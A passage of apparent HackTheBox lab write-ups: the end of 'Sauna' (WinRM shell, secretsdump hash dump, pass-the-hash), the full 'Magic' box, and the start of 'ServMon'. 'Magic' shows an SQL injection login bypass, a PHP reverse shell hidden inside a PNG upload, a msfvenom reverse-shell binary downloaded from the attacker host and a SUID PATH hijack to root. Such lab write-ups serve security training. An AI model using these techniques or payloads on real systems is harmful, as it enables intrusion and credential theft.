Now that we know that our credentials for the user are valid, it should be fairly trivial to gain a shell as the user. This can be done with evilwinrm, which can be found (along with install instructions) on the Github link for the project here

Privilege Escalation

PrivEsc enumeration

From here we need to figure out how to move from the user fsmith, to an Administrator or NT_AUTHORITY_SYSTEM.

First we can take a look at the privileges of our user with the ‘whoami’ command:

*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami /all

USER INFORMATION
----------------

User Name              SID
====================== ==============================================
egotisticalbank\fsmith S-1-5-21-2966785786-3096785034-1186376766-1105


GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Unfortunately, we don’t have the SeImpersonatePrivilege, so looks like the potato attacks are likely out. Let’s check out services and other potential avenues.

To make this process a little less time-consuming and manual, we can host a windows enumeration script, WinPEAS, on our attacking server, and use powershell to download it locally to the target system. We’ll use the “wget” poweshell alias for the NetWebClient functionality to do this, as shown below:

*Evil-WinRM* PS C:\Users\FSmith\Documents> wget http://10.10.14.42/winPEASany.exe -OutFile winpeas.exe
*Evil-WinRM* PS C:\Users\FSmith\Documents> dir


    Directory: C:\Users\FSmith\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/29/2020  10:17 PM         229888 winpeas.exe

Once run, we see an interesting finding from the script:

  [+] Looking for AutoLogon credentials(T1012)                                                                                                                               
    Some AutoLogon credentials were found!!                                                                                                                                  
    DefaultDomainName             :  EGOTISTICALBANK                                                                                                                         
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager                                                                                                         
    DefaultPassword               :  Moneymakestheworldgoround!                                                                                            

When running the net users command locally as fsmith, we get a slightly different variation:

*Evil-WinRM* PS C:\Users\FSmith\Documents> net users

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr
The command completed with one or more errors.

Lateral movement

Testing out both variants of the username, we see we can connect with the “svc_loanmgr” username, as shown below:

We see this user is a member of several administrative groups:

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

gaining system

initinfosec@kali:/0ps/HTB/sauna/exploit$ secretsdump.py  'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:cb259d378ae419ec40e14aa34c0eaa23:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0
Administrator:des-cbc-md5:19d5f15d689b1ce5
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:b8f5df93c457bf81ab9bb9deb78ec1385d751c85e7192e5f2fbe550eb9fc22d0
SAUNA$:aes128-cts-hmac-sha1-96:1fb418df8a3fea2ebbbd679aeb8295ee
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up... 

We can then utilize these hashes with impacket to execute commands as the admin user, a technique known as ‘Pass the Hash (PTH).’

For my purposes, I’ve used impacket’s psexec, which as mentioned above, leverages SMB. However, as we have adminstrative authentication, we have the proper authorization to ulitize SMB and use it to open channels and execute files via the protocol. As shown below, this results in a system shell from the target, as shown below:

HacktheBox 'Magic' writeup

Fri, 19 Jun 2020 11:00:00 -0500

‘Magic’ HTB Writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Magic	10.10.10.185	Linux	Medium

view all writeups here

‘Magic’ HTB Writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/magic/scans/_full_tcp_nmap.txt" -oX "/HTB/magic/scans/xml/_full_tcp_nmap.xml" 10.10.10.185

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.185

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp	open	http	Apache httpd 2.4.29

# Nmap 7.80 scan initiated Thu Jun 18 13:24:14 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /HTB/magic/scans/_full_tcp_nmap.txt -oX /HTB/magic/scans/xml/_full_tcp_nmap.xml 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up, received user-set (0.037s latency).
Scanned at 2020-06-18 13:24:14 CDT for 69s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
|   256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/18%OT=22%CT=1%CU=32655%PV=Y%DS=2%DC=T%G=Y%TM=5EEBB19
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%TS=A)OPS(O1=M
OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%
OS:O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%
OS:DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 35.653 days (since Wed May 13 21:45:05 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT      ADDRESS
1   36.26 ms 10.10.14.1
2   36.83 ms 10.10.10.185

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 18 13:25:23 2020 -- 1 IP address (1 host up) scanned in 69.79 seconds

nmap scan observations

HTTP enumeration

The page title of the documentRoot/main page served by apache identifies it as ‘Magic Portfolio.’ Using gobuster to crawl the web server for content shows the following publically accessible resources:

initinfosec@kali:/HTB/magic/scans$ gobuster dir -u http://10.10.10.185:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "/HTB/magic/scans/tcp_80_http_gobuster.txt"
initinfosec@kali:/HTB/magic/scans$ cat tcp_80_http_gobuster.txt | grep -v 403
/assets (Status: 301) [Size: 313]
/images (Status: 301) [Size: 313]
/index.php (Status: 200) [Size: 4442]
/index.php (Status: 200) [Size: 4442]
/login.php (Status: 200) [Size: 4221]
/logout.php (Status: 302) [Size: 0]
/upload.php (Status: 302) [Size: 2957]

Visiting the main page at http://10.10.10.185/ does seems to show a portfolio of images, with a note on the bottom left corner saying “Please Login to upload images.” Proceeding to upload.php as expected redirects to a login page at http://10.10.10.185/login.php. Trying a few basic username/password combinations such as “admin/admin” or “magic/password” does not seems to work, nor does there seem to be any clue of possible crednetials from the login.php or index.php page sources.

The next item to try before brute forcing would be SQL injection. trying a a simple ‘ on both the username and password fields doesn’t yield a page error, and it seems the username field doesn’t like to allow spaces unless copy/pasted in. To further try and assess if the login page is vulnerable SQLi, we can open an external note and type a few variants of common injections, and copy/paste them into the username and password fields.

Trying ' or 1=1 does not seem to work, but trying ' or '1'='1 on both fields yields a successful login. This makes sense: if we think about the general structure of the SQL query on the login page (if not using paramterized queries, and using direct user-input as part of a SQL statement), we can infer that the original/pre-formed SQL statement for the login page is something like the following:

SELECT * from tblUsers WHERE username = '<user input from login page username field>' AND password = '<user input  from login page password field>';

There is already a quote provided on both the start and ends of each value input by the user, so when providing our input, the statement would probably resolve to something like this:

SELECT * from tblUsers WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';

Thus we’ve properly terminated the SQL query to avoid snytax errors. Additionally, the single quotes on the 1s likely serve to clarify those values as separate from the operator you’re using to logically evaluate the statement, in this case =.

Because this was successful, it indicates that the input fields in the login page do not properly validate and sanitize user input, meaning we were able to provide neither a valid username nor password, but since the second half of the statement after the OR (1=1) on each input validated to true, the web application and database backend interpreted it as valid input, allowing us to gain access, as shown in the below screenshot.

gaining an initial foothold

We know the server is running PHP< but it’s almost certain that the file upload feature has some input validation, likely examining file types and only allowing image files such as .png, .jpg, .gif, etc. Let’s quickly test the extent of this filtering by providing two different files at first to upload. One will be an unaltered PHP reverse shell script, named test.php, the other will be the same file with the extension renamed as a .png, so test.png. The commands to stage these files are shown below. Be sure after copying the files to the desired directory to modify the IP and port within the script to suit your needs. The lines in the script needing to be changed are 49 & 50, sufficed with a “//CHANGE THIS” at the end of the line.

cp /usr/share/webshells/php/php-reverse-shell.php test.php
cp /usr/share/webshells/php/php-reverse-shell.php test.png

Clicking the upload icon (cloud with an Up arrow), we can browse to the file we want to upload. Let’s select test.php first. Immediately on clicking the ‘Upload Image’ button, we’re presented with a pop-up saying ‘Sorry, only JPG, JPEG, and PNG files are allowed,’ as pictured below.

Proceeding on to test.png, we also receive a similar message, stating ‘What are you trying to do there?’ as shown below.

This does not surprise me, as the server is likely checking the file MIME type of the file. This is generally evaluated by reading the first 4-8 bytes of the file, known as the ‘magic number’ (hence the box name, likely), of the file. The first bit of file metadata tells about the filetype. We see that if we run the file command on the test.png file, it’s still detected as a PHP file, since the file metadata hasn’t changed, only the extension.

file test.png
test.png: PHP script, ASCII text

We also see the file metadata in hex, by running the hexdump command on the file, shown below:

hexdump test.png | head -n 3
0000000 3f3c 6870 0a70 2f2f 7020 7068 722d 7665
0000010 7265 6573 732d 6568 6c6c 2d20 4120 5220
0000020 7665 7265 6573 5320 6568 6c6c 6920 706d

You can view a list of common magic numbers here. We see the magic numbers for a PNG file are typically:

PNG format 	.png 	89 50 4e 47 	.PNG

We can use vim with xxd mode to edit the hex of the file. So let’s copy test.php to shell.png, and open the file with vim. Once opened in vim, the following can be run in the command mode (default) to show the file in hex: :%!xxd. Once done, we see a hex representation of the file along with plaintext, as shown in the below screenshot.

Now we can edit the hex to add the PNG magic numbers at the front of the file. Once done, the xxd mode within vim can be turned off to return the file back to text with the following command :%!xxd -r. Once done, we can see the following occurs at the front of the file:

<89>PNG<?php

With the modifications in place, let’s start a listener with sudo nc -lvnp 443 to catch a shell if one is successful. Be sure to change the port to the one matching your script. Now let’s proceed to upload. We find upon uploading shell.png, it’s still denied, with the same ‘what are you trying to do here?’ message? Let’s try and grab a valid PNG first, then add the PHP content to it. I’ll use the thumbnail/avatar for this HTB machine.

wget https://www.hackthebox.eu/storage/avatars/73eebbbdfbbfd46258ea2ae7e52d9479_thumb.png -O shell.png

cat test.php >> shell.png

xxd shell.png | head -n3
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 0000 0040 0000 0040 0806 0000 00aa 6971  ...@...@......iq
00000020: de00 001d ef49 4441 5478 dacd 7b07 58d4  .....IDATx..{.X.

file shell.png
shell.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced

Now that we see our file is detected as a PNG, and has the PHP shellcode at the end, let’s try upload again.

This time, the upload is successful, and we’re presented with the following text on the upper left corner of the page: The file shell.png has been uploaded. Let’s now browse to the file, which we know from looking at the paths for other images is in the images/uploads directory. Going to http://10.10.10.185/images/uploads/shell.png loads the expected image, but no shell is fired. Let’s rename the file to shell.php.png, in case the file needs to be named properly for the server to execute the file, and re-upload. We find upload was again successful. (You’ll find if you attempt to alter the placement to be shell.png.php, that the file will be disallowed, inidcating that the upload filter likely looks at both extension and MIME type.)

Now we browsing to http://10.10.10.185/images/uploads/shell.php.png, we’re greeted with the familiar perpetual page load as seems usual for webshells. We’ll find checking our listener, that a shell was indeed caught, giving us access to the target ‘Magic’ as the www-data user, depicted in the below screenshot.

We’ll notice right off the bat that we do not have access to the user folder for theseus where the user.txt seems to be stored, so we’ll need to find a way to laterally move to that user.

Lateral Movement

Quickly looking around, we run crontab -l and notice there are no cron jobs running for our user. we could try sudo -l but we do not know the password for the www-data user. Quickly looking in the /var/www directores, since we’re the www-data user, we find that the html subdirectory is emtpy, but a folder called Magic exists, which we have access to. This appears to be the documentRoot for apache, as we see the index, login and upload pages. We also see a file called db.php5. Quickly searching that file for ‘theseus’ reveals a possible password for that user, as shown in the below code block:

www-data@ubuntu:/var/www$ cd Magic
cd Magic
www-data@ubuntu:/var/www/Magic$ ls -ltra
ls -ltra
total 52
drwxrwxr-x 6 www-data www-data 4096 Jun  6  2019 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 db.php5
-rwx---r-x 1 www-data www-data  162 Oct 18  2019 .htaccess
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-rw-r-- 1 www-data www-data 4528 Oct 22  2019 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22  2019 upload.php
drwxr-xr-x 4 root     root     4096 Mar 13 06:07 ..
drwxr-xr-x 4 www-data www-data 4096 Mar 17 09:10 .
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images
www-data@ubuntu:/var/www/Magic$ grep -i theseus db.php5
grep -i theseus db.php5
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

However, we find that this does not work for su - theseus, nor for SSH. additionally, we notice SSH only allows publickey authetication for that user. Furthermore, the login does not appear to work on the login.php externally.

Now that we know the DB name definitively though, and we know that the DB is prone to SQL injection, we can try to use sqlmap from kali to enumerate the database tables, and see if we can find correct credentials for a user.

I won’t step through every iteration of using sqlmap to find the data, but suffice to say the the vulnerable URL needs to be passed as an arguement, and the forms, crawl, and risk parameters can be tweaked if no findings were made. Eventually sqlmap detects that the DBMS is mysql, which we already knew, and the DB is ‘Magic,’ which we also knew. We can then use the following command to dump the contents of the Magic database:

initinfosec@kali:/HTB/magic/loot$ sqlmap -u http://10.10.10.185/login.php --forms --crawl=2 --risk=3 --dbms=mysql --dbs --columns -D "Magic" --dump-all


[14:04:38] [INFO] retrieved: 1
[14:04:39] [INFO] retrieved: Th3s3usW4sK1ng
[14:04:49] [INFO] retrieved: admin
Database: Magic
Table: login
[1 entry]
+------+----------+----------------+
| id   | username | password       |
+------+----------+----------------+
| 1    | admin    | Th3s3usW4sK1ng |
+------+----------+----------------+

Testing the found credentials from the database dump against the site, it appears the login was valid. So now let’s try utilizing that as the password for the user ‘theseus’ with su - theseus.

We see that this successfully gives us a shell as the user ‘theseus’, shown in the below screenshot.

Privilege Escalation

PrivEsc enumeration

From here we move on to see how we can escalate from ‘theseus’ to ‘root.’

From quick enuermation, we see that our user does not have sudo access nor has any cronjobs.

theseus@ubuntu:~$ sudo -l
[sudo] password for theseus:
Sorry, user theseus may not run sudo on ubuntu.
theseus@ubuntu:~$ crontab -l
no crontab for theseus

We can host an enumeration script on a local webserver using simple http server from python. Once hosted, we download and execute the script. I’ll be using lse.sh which you can find on github.

From the assessing machine where the script is located:

python3 -m http.server 80

Now from the target ‘Magic’:

theseus@ubuntu:~$ wget http://10.10.14.35/lse.sh
theseus@ubuntu:~$ chmod +x lse.sh
theseus@ubuntu:~$ ./lse.sh -l1

We quickly find that there is an uncommon SUID binary listed, /bin/sysinfo. We can confirm with the following:

theseus@ubuntu:~$ which sysinfo
/bin/sysinfo
theseus@ubuntu:~$ ls -altr /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
theseus@ubuntu:~$ file /bin/sysinfo
/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped

So we see that sysinfo is indeed a 64-bit ELF binary, set to run with root permissions, regardless of the user who runs it. This gives us an opporunity to gain root level access if we can hook into the binary somehow to have it run abitrary commands, or otherwise abuse it in a way that we can direct the binary or part of it’s processes run as root level to give us a system shell.

We can run a strings command against the binary to find what other executables or libraries are being called by the binary, if any. Below will show the strings command run, with potentionally actionable (abridged) output below the command.

theseus@ubuntu:~$ strings /bin/sysinfo | more


popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
;*3$"
zPLR
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7697
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
info.c

Here we see the binary calling several other utilities, fdisk, cat, free, and lshw shown here. It’s important to note that these instance of binary calls are done using relative paths, not explicit paths, meaning that the system will look at the environment variables set by the user running the sysinfo binary and search them in order to try and find a match. If an explicit path was specified, (e.g. /usr/bin/lshw) the system would instead go directly to the file mentioned.

gaining root access

Since we have fairly unrestricted access to our own user, this can be leveraged, allowing us to modify our own path environment variable to look in our home directory first, before other system level directories.

For this box, I will attempt to exploit the binary using fdisk, however you can likely use almost any that is called from sysinfo using a relative path. First we can view our current path, and the location of the binary found:

theseus@ubuntu:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
theseus@ubuntu:~$ which fdisk
/sbin/fdisk

Great, so fdisk is found earching the paths from left to right, until /sbin was found, where it hit a match.

Let’s go ahead and return to our attacker machine and generate a reverse TCP binary called ‘fdisk’, output as a 64-bit ELF binary to match the one called in the sysinfo executable. Don’t forget to change the LHOST and LPORT values to whatever is appropriate for your situation. Once done, we can host the directory using python SimpleHTTPServer to download it to the target:

initinfosec@kali:/HTB/magic/exploit$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=
10.10.14.35 LPORT=443 -f elf -o fdisk                                                                                                                                        
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload                                                                                         
[-] No arch selected, selecting arch: x64 from the payload                                                                                                                   
No encoder specified, outputting raw payload                                                                                                                                 
Payload size: 74 bytes                                                                                                                                                       
Final size of elf file: 194 bytes                                                                                                                                            
Saved as: fdisk                                                                                                                                                              
initinfosec@kali:/HTB/magic/exploit$ sudo python3 -m http.server 80                                                                                                      
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..

We’ll also start a listener on the kali machine on the appropriate port to receive our shell [if spawned] with sudo nc -lvnp 443.

Once our attacker setup is done, we move back to the target and download the hosted reverse TCP file, and set it to executable. We’ll do this from the home directory.

theseus@ubuntu:~$ wget http://10.10.14.35/fdisk
theseus@ubuntu:~$ chmod +x fdisk

Once done, we want to then change our PATH environment variable, telling the system to look in our current directory (home) first, before proceeding to other directories. In the below commands, we’re simply leveraging the existing variable that is set, and telling the new variable set to include . (relative path for current working directory) first, then the rest of what is already set in the PATH variable.

theseus@ubuntu:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
theseus@ubuntu:~$ export PATH=.:$PATH
theseus@ubuntu:~$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Now with the PATH set, if we run a which fdisk, we see that it finds our local instance from our home folder first, as the system searches from left to right in the paths listed in the environment variable, stopping on a match.

theseus@ubuntu:~$ which fdisk
./fdisk

Now with the reference to fdisk directing the system to our fake/maclicious fdisk binary, when running the binary, it should be called & executed as root. Remember that even though SUID binaries are running with root privileges, unless otherwise specified or restricted, the system will still search based on your user environment variables, as the references to other executables were relative, not absolute. So now, if we give the sysinfo binary a run, it should call fdisk which is now our reverse shell executable, and give us a shell locally as root.

theseus@ubuntu:~$ /bin/sysinfo

<excess removed>

====================Disk Info====================

We see that execution holds at the disk info section where it’s calling fdisk. And if we check back on our listener, we see we have a shell as root!

Conclusion

Recommended Remediations

Implement paramterized queries and/or other input santization methods to mitigate the SQL injection vulnerabilities on the login.
Consider enhancing the upload filtering done by the webserver. More ideally, place a WAF on the server to detect and/or block webshells or reverse TCP connections, so that even if an upload bypassed filtering, a remote connection or command execution from an external source would be blocked.
Consider storing credentials in the database as salted hashes rather than plaintext
Review the need for SUID permissions to be set on the /bin/sysinfo binary. If they are needed, update the binary to use explicit paths to external references. This would be best practise to implement regardless of SUID permissions being retained on the binary or not.

All for now; until next time.

~@initinfosec

HacktheBox 'ServMon' writeup

Wed, 17 Jun 2020 17:00:00 -0500

‘ServMon’ HTB Writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
ServMon	10.10.10.184	Windows	Easy

view all writeups here

Writeup Contents

‘ServMon’ HTB Writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/servmon/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/servmon/scans/xml/_full_tcp_nmap.xml" 10.10.10.184

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.184

Port	State	Service	Version
21/tcp	open	ftp	Microsoft ftpd
22/tcp	open	ssh	OpenSSH for_Windows_7.7
80/tcp	open	http
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds
5040/tcp	open	unknown
5666/tcp	open	tcpwrapped
6063/tcp	open	tcpwrapped
6699/tcp	open	tcpwrapped
8443/tcp	open	https-alt
49664/tcp	open	msrpc	Microsoft Windows RPC
49665/tcp	open	msrpc	Microsoft Windows RPC
49666/tcp	open	msrpc	Microsoft Windows RPC
49667/tcp	open	msrpc	Microsoft Windows RPC
49668/tcp	open	msrpc	Microsoft Windows RPC
49669/tcp	open	msrpc	Microsoft Windows RPC
49670/tcp	open	msrpc	Microsoft Windows RPC

# Nmap 7.80 scan initiated Tue Jun 16 17:59:39 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/servmon/scans/_full_tcp_nmap.txt -oX /0ps/HTB/servmon/scans/xml/_full_tcp_nmap.xml 10.10.10.184
Increasing send delay for 10.10.10.184 from 0 to 5 due to 73 out of 243 dropped probes since last increase.
Nmap scan report for 10.10.10.184
Host is up, received user-set (0.039s latency).
Scanned at 2020-06-16 17:59:40 CDT for 2784s
Not shown: 65517 closed ports
